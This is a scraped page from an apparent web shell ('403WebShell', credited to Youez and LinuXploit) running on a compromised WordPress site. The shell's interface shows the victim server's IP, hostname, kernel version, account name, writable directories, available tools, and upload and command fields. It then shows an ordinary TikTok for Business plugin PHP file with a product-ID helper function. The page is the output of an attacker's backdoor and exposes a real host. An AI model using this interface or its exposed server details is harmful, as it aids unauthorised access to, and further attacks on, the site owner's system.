Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.21.44.115
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/tiktok-for-business/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/tiktok-for-business/utils/utilities.php
<?php
/**
 * Copyright (c) Bytedance, Inc. and its affiliates. All Rights Reserved
 *
 * This source code is licensed under the license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @package TikTok
 */

require_once 'Method.php';

if ( ! defined( 'ABSPATH' ) ) {
	die;
}

/**
 * Determine variation product ID for TT catalog sync
 *
 * @param int    $method     Method const int from abstract util Class Method.
 * @param string $parent_id  parent product's sku_id.
 * @param string $sku_id     variation product's sku_id.
 * @param string $product_id variation product's WP DB ID.
 *
 * @return string
 */
function variation_content_id_helper( $method, $parent_id, $sku_id, $product_id ) {
	if ( METHOD::CATALOG == $method || Method::DELETE == $method || Method::PURCHASE == $method ) {
		if ( $sku_id == $parent_id ) {
			$sku_id = $parent_id . '-' . $product_id;
		}
		return $sku_id;
	} elseif ( Method::ADDTOCART == $method || Method::STARTCHECKOUT == $method ) {
		$content_id = $sku_id;
		if ( $sku_id == $parent_id ) {
			$content_id = $parent_id . '-' . $product_id;
		}
		return $content_id;
	} else {
		return $sku_id;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit